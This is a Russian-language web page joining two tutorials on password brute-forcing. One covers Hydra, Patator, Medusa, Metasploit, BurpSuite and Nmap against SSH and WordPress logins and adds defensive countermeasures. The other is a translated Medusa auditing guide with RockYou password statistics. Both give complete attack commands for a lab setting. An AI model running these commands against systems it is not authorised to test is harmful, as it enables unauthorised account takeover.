Brute-force атаки с использованием Kali Linux
Brute-force (атака полным перебором) – метод решения математических задач, сложность которого зависит от количества всех возможных решений. Сам же термин brute-force обычно используется в контексте хакерских атак, когда злоумышленник пытается подобрать логин/пароль к какой-либо учетной записи или сервису.
Рассмотрим инструменты, которые можно использовать для выполнения brute-force атак на SSH и WEB-сервисы, доступные в Kali Linux (Patator, Medusa, Hydra, Metasploit), а также BurpSuite.
Все материалы, предоставленные в рамках данной статьи, предназначены для использования исключительно в учебных целях. Использование материалов в противоправных и противозаконных запрещено.
Brute-force SSH
Для примера возьмем тестовую машину 192.168.60.50 и попробуем подобрать пароль пользователя test по SSH. Мы будем использовать популярные пароли из стандартного словаря rockyou.txt.
Patator
Для подбора пароля средствами Patator используем команду:
patator ssh_login host=192.168.60.50 user=test password=FILE0 0=/root/wordlist -x ignore:mesg=’Authentication failed’
где:
ssh_login — необходимый модуль
host – наша цель
user – логин пользователя, к которому подбирается пароль или файл с логинами для множественного подбора
password – словарь с паролями
-x ignore:mesg=’Authentication failed’ — команда не выводить на экран строку, имеющую данное сообщение. Параметр фильтрации подбирается индивидуально.
Hydra
Для подбора пароля используя Hydra выполним команду:
hydra -V -f -t 4 -l test -P /root/wordlist ssh://192.168.60.50
где:
-V – показывать пару логин+пароль во время перебора
-f – остановка как только будет найден пароль для указанного логина
-P – путь до словаря с паролями
ssh://192.168.60.50 – указание сервиса и IP-адрес жертвы
Medusa
Для подбора пароля с использованием Medusa выполним команду:
medusa -h 192.168.60.50 -u test -P /root/wordlist -M ssh -f -v 6
где:
-h – IP-адрес жертвы
-u – логин
-P – путь к словарю
-M – выбор модуля
-f – остановка после нахождения валидной пары логин/пароль
-v – настройка отображения сообщений на экране во время процесса подбора
Metasploit
Произведем поиск инструмента для проведения brute-force атаки по SSH:
search ssh_login и получили ответ:
Для просмотра необходимых параметров, воспользуемся командой show options . Для нас это:
rhosts – IP-адрес жертвы
rport – порт
username – логин SSH
userpass_file – путь до словаря
stop_on_success – остановка, как только найдется пара логин/пароль
threads – количество потоков
Указание необходимых параметров производится через команду «set«.
set rhosts 192.168.60.50
set username test
set userpass_file /root/wordlist
set stop_on_success yes
set threads 4
set rport 22
Указав необходимые параметры набираем команду «run» и ждем.
Противодействие
Ограничить количество устанавливаемых соединений с использованием межсетевого экрана. Пример настройки iptables:
-A INPUT -i eth0 -p tcp —dport 22 -m connlimit —connlimit-above 1 —connlimit-mask 32 -j REJECT —reject-with tcp-reset .
Такое правило установит ограничение доступа к SSH для каждого IP-адреса до 1 соединения в секунду, значительно усложнив перебор. Также эффективным решением может быть использование двухфакторной аутентификации (например, используя eToken) или аутентификации с использованием ключевой пары, а также использование ACL на основе IP-адресов.
Brute-force WordPress
Рассмотрим другой пример — подбор пароля окна авторизации веб-формы.
Для примера будем подбирать пароль от учетной записи администратора wordpress.
BurpSuite
Для начала нам необходимо понять, как происходит процесс авторизации. Для этого мы будем использовать BurpSuite. Нам необходимо попробовать авторизоваться с любым паролем и логином, чтобы посмотреть какие запросы проходят через BurpSuite.
Отлично, мы увидели POST запрос для авторизации с ним мы и будем работать.
В BODY указано какой логин и пароль проверялись, а значит, мы можем попробовать самостоятельно подставить нужные нам значения.
Передаем этот запрос в Intruder и там выбираем необходимые параметры для атаки. В пункте Payload Positions тип атаки оставляем sniper, но для проверки оставляем только параметр pwd. Таким образом, при атаке будет изменяться только этот параметр.
Загружаем необходимый словарь и начинаем атаку.
Из поведения веб-приложения мы видим, что неверный пароль возвращает код ответа 200. После перебора словаря, видим, что один из паролей дал ответ с кодом 302 — он и является верным.
Данный метод перебора занимает намного больше времени, чем при использовании Patator, Hydra, Medusa и т.д. Даже с учетом того, что мы взяли небольшой словарь, BurpSuite перебирал словарь около 40 минут.
Hydra
Попробуем подобрать пароль с помощью Hydra.
Как мы уже знаем, при неверной авторизации возвращается код 200, а при успешной – 302. Попробуем использовать эту информацию.
Для запуска используем команду:
hydra -V -f -l admin -P /root/wordlist -t 4 http-post-form://192.168.60.50 -m «/wp-login.php:log=^USER^&pwd=^PASS^&wp-submit=Log+In&redirect_to=http%3A%2F%2F192.168.60.50%2Fwp-admin%2F&testcookie=1:S=302»
Здесь мы указываем обязательные параметры:
-l – имя пользователя
-P – словарь с паролями
-t – количество потоков
http-post-form – тип формы, у нас POST.
/wp-login.php – это URL страницы с авторизацией
^USER^ — показывает куда подставлять имя пользователя
^PASS^ — показывает куда подставлять пароль из словаря
S=302 – указание на какой ответ опираться Hydra. В нашем случае, ответ 302 при успешной авторизации.
Patator
Как мы уже знаем, при неудачной авторизации возвращается код 200, а при удачной – 302. Будем использовать тот же принцип, что и с Hydra:
Запуск производится командой:
patator http_fuzz url=http://192.168.60.50/wp-login.php method=POST body=’log=admin&pwd=FILE0&wp-submit=Log+In&redirect_to=http%3A%2F%2F192.168.60.50%2Fwp-admin%2F&testcookie=1′ 0=/root/wordlist -t 4 before_urls=http://192.168.60.50/wp-login.php -x ignore:code=200 accept_cookie=1
http_fuzz – модуль для brute-force атаки http
url – адрес страницы с авторизацией
FILE0 — путь до словаря с паролями
body – информация, которая передается в POST запросе при авторизации
-t — количество потоков
-x – В данном случае мы указали команду не выводить на экран сообщения строки, содержащие параметр с кодом 200
accept_cookie – сохранение параметра cookie и передачи его в следующий запрос
Как итог – нам удалось подобрать пароль.
Nmap
Утилита Nmap позволяет в том числе производить подбор паролей для веб-форм авторизации, если использовать скрипт http-wordpress-brute с соответствующими аргументами:
—script-args – добавление аргументов
user или userdb – логин или файла с логинами
pass или passdb — указание пароля или словаря
thread – количество потоков
firstonly=true – выводить результат после первого же правильного пароля
nmap 192.168.60.50 —script http-wordpress-brute —script-args ‘user= admin,passdb= /root/wordlist, http-wordpress-brute.thread=3, brute.firstonly=true’
Противодействие
Ограничить (усложнить) brute-force атаки на web-приложения можно средствами iptables (по аналогии с SSH) и средствами nginx. Для этого необходимо создать зону лимитов:
.
limit_req_zone $binary_remote_addr zone=req_limits:10m rate=30r/s;
.
и задействовать ее:
location / <
.
limit_req zone=req_limits burst=10;
limit_req_status 429;
.
>
Такие настройки позволят ограничить количество запросов с одного IP-адреса до 40 в секунду.
Усложнить задачу перебора можно используя следующие методы:
— Применение межсетевого экрана и прочего ПО для ограничения количества обращений к защищаемому сервису. О том, как мы используем машинное обучение для выявления подобных атак (в том числе распределенных), можно почитать в статье.
— Использование средств, препятствующих быстрой проверке корректности ключа (например, Captcha).
Заключение
В данной статье мы поверхностно рассмотрели некоторые популярные инструменты. Сократить риск подбора пароля можно, следуя следующим рекомендациям:
— используйте устойчивые к подбору пароли;
— не создавайте пароли, используя личную информацию, например: дату рождения или имя + дата рождения или мобильный телефон;
— регулярно меняйте пароль;
— на всех аккаунтах применяйте уникальные пароли.
Подобные рекомендации (как и рекомендации по безопасной веб-разработке) мало кто соблюдает, поэтому необходимо использовать различные программные решения, позволяющие:
— ограничить подключение по IP-адресу, или, если это невозможно, ограничить одновременное количество соединений с сервисом (средствами iptables, nginx и прочими);
— использовать двухфакторную аутентификацию;
— выявлять и блокировать подобные атаки средствами SIEM, WAF или другими (например, fail2ban).
Источник
Lust and love’s Blog
Medusa: Свободная программа для проверки паролей
Medusa: Свободная программа для проверки паролей
автор: Поль Рубенс
оригинал
[cut]
Плохие пароли могут привести к плохим последствиям. Именно поэтому они особенно важны для корпоративной безопасности, для защиты данных (в том числе почтовых серверов, серверов баз данных и других) от несанкционированного проникновения (и от хакеров).
У плохого пароля есть три отличительных признака:
- Он легко угадывается
- Его с большой вероятностью можно встретить в списке паролей
- Его можно быстро подобрать
Все три возможности вкратце разбираются дальше.
Легко угадываемый пароль
Выбирая пароль, люди очень предсказуемы, поэтому встречаются одни и те же пароли. Ниже проанализированы 32 миллиона паролей, которые выложили в публичный доступ после взлома сайта Rockyou.com.
Самые популярные пароли
1 123456 290,731
2 12345 79,078
3 123456789 76,790
4 Password 61,958
5 iloveyou 51,622
6 princess 35,231
7 rockyou 22,588
8 1234567 21,726
9 12345678 20,553
10 abc123 17,542
Почти 1% пользователей Rockyou.com выбрали пароль «123456». Иначе говоря, хакеру был доступен примерно 1аккаунт из 100.
Другие легко угадываемые пароли это имена питомцев, детей, любимой спортивной команды или супруга. Эти данные легко получить, используя социальные сети, например, Facebook.
Список паролей
Попробовав пароли вроде «123456» и «Password», хакер переходит к списку паролей. Обычно это списки слов из словарей, известные имена и наиболее полные списки с комбинациям слов (например, iloveyou), слова и цифры (как money123), а также слова с числовыми вставками (типа m0n3y). В таких списках практически не бывает паролей с использованием верхнего и нижнего регистра одновременно, случайных наборов символов ( d5j*Dg;r?’fRey), комбинации из нескольких слов (doGbutTerbicYclE) или слова со знаками препинания (s(c&H#0%o»L).
Метод «грубой силы» (брутфорс)
Единственный верный способ найти пароль — это перебирать все варианты, пока не повезет — это называется брутфорс. Пароль из одного, двух или трех символов быстро подбирается, но чем длиннее пароль тем меньше шансов его подобрать. Чтобы подобрать пароль из 15 символов потребуются милларды лет.
Тестирование/Проверка
С одной стороны, чтобы проверить корпоративную систему, вы можете использовать хакерский путь: подбирать разные пароли и оценивать успех. Это так называемая онлайн-атака. Ее еще можно использовать чтобы проверить, как ваша система определяет атаку на сервер в результате неудачных попыток залогиниться и блокируется ли отдельный аккаунт после нескольких неудачных попыток.
Для онлайновых атак существует множество программ, в том числе программа с открытым исходным кодом Hydra . Но, верооятно, одна из самых лучших программ этого типа для OS Linux — это Medusa, написанная «гиками с ресурса Foofus.net».
Medusa это «быстрая, массивно-параллельная, модульная программа для подбора паролей» с модулями для поддержки практически любого сервиса для удаленной аутентификации с помощью пароля, включая: CVS, FTP, HTTP, IMAP, MS-SQL, MySQL, POP3, PostgreSQL, SMTP-AUTH, Telnet и VNC. Medusa быстрее чем Hydra благодаря использованию поточной организации (организация Hydra построена на процессах) и одновременно пытается соединится с несколькими хостами или пользователями.
Medusa 2.0 How-To
Установка
Сохраните medusa-2.0.tar.gz в выбранную папку.
Разархивируйте архив с программой.
-zxvf medusa-2.0.tar.gz
Зайдите в папку с программой
cd medusa-2.0
Используйте обычную процедуру установки в ОС Linux
«./configure «, «make», «make install»
./configure
make
make install
Здесь подробные инструкции, включая список зависимостей.
Список паролей
Medusa соединяется с сервисом, например, через веб-страницу или FTP-сервер, и пытается залогиниться, используя различные имена пользователя и пароли.
Чтобы проверить устотойчивость пароля отдельного пользователя вам понадобится список паролей, которые и будет перебирать Medusa.
В интернете выложено множено платных и бесплатных таких списков, например:
hugewordlist.txt: 3.5 миллиона слов, имен, номеров и комбинаций.
Outpost 9 wordlists: около 40 различных списков, в том числе словари и имена
Packet Storm wordlists: Подборка бесплатных списков на английском и других языка.
Masta-spitz: Огромный (194 мб) мета-список компиляция других списков.
Вы сможете составить Ваш собственный список паролей на базе существующих, используя правила «подстановки» типа @ вместо «а», добавляя цифры в начале или в конце каждого слова.
С этим справится например John the Ripper — мультиплатформенная программа с открытым кодом.
Также пригодиться:
The Associative Wordlist Generator: онлайновый инструмент для создания списков паролей на основе заданных вами слов.
Wyd: свободная программа для Linuх , скачивающая слова с сайтов, файлов и папок.
Использование Medusa
Medusa это консольный инструмент, поэтому использование всего лишь вопрос понимания инструкций команднолй строки.
Например, мы хотим, чтобы Medusa подключилась к сетевому роутеру с IP адресом 192.168.1.1 c типовым именем пользователя admin и проверим, как быстро программа найдет пароль. Используется список паролей hugewordlist.txt (выше о нем уже говорилось).
Мы знаем, что собаку администратора зовут Fido, двух его детей Элис и Боб и добавляем эти имена в начало текстового файла hugewordlist.txt вместе с названием фирмы и 10 самыми распространенными паролями с сайта Rockyou.com (о них говорилось в начале статьи).
В настройках нужно указать следующее:
Хост 192.168.1.1, к которому подключается Medusa с ключом -h
Имя пользователя admin c ключом -u
Название текстового файла со списком паролей с ключом -P
Модуль сервиса, к которому мы хотим получить доступ ( в данном случае http) c ключом -M
Получаем команду medusa -h 192.168.1.1 -u «admin» -P hugewordlist.txt -M http
В моей сети Medusa перебирала 2000 паролей в минуту и нашла пароль «>tvaringa» примерно за 50 секунд.
Но что, если вы хотите проверить прочность паролей многих пользователей вместо одного с логином admin?
Чтобы проверить пароли пользователей на POP3 сервере, потребуется список email адресов в текстовом файле типа «emailusers.txt».
А еще потребуется список паролей. В этот раз мы возьмем более короткий список с популярными паролями и сохраним его в файле с именем «shortpasswordlist.txt». Medusa способна обрабатывать их паралельно, подбирая пароль к 10 (или к любому другому числу) пользователей за раз.
Другими словами Medusa проверит первые 10 имен пользователей на совпадение с первым паролем из списка, затем еще 10 имен на совпадение со вторым паролем и так далее. Когда список дойдет до конца, Medusa начнет проверять следующие 10 имен и сверит их со всеми паролями.
Для проверки нескольких имен надо ввести следующее:
IP адрес POP3 сервера (в этом случае 192.168.1.20) с ключом -h
Текстовый файл со списком имен пользователей (emailusers.txt) с ключом -U
Текстовый файл с паролями (shortpasswordlist.txt) с ключом -P
That Medusa should test multiple usernames at simultaneously using the -L switch
The number of usernames to test at a time using the -t switch
The module to use (POP3) using the -M switch
Medusа сравнит многочисленные имена пользователей одновременно c ключом -L
Число одновременно проверяемых имен задается с ключом -t
Модуль (POP3) задается -М
Команда выглядит так: 192.168.1.20 -U emailusers.txt -P shortpasswordlist.txt -t 10 -L -M POP3
Если Medusa способна найти любые пароли, разумно будет проверить насколько эти пароли отвечают вашей политике безопасности. Если Medusa находит ваши пароли, они должны быть заменены на более стойкие. Если нет, вы можете сообщить сознательным пользователям о риске использования слабых паролей и убедиться, что пароли были изменены.
Больше информации о Medusa
Чтобы узнать все доступные команды наберите medusa
Чтобы узнать, какие сервисные модули установлены наберите medusa -d
Eсть еще примеры использования, но лучше просто скачать программу и начать ею пользоваться.
Источник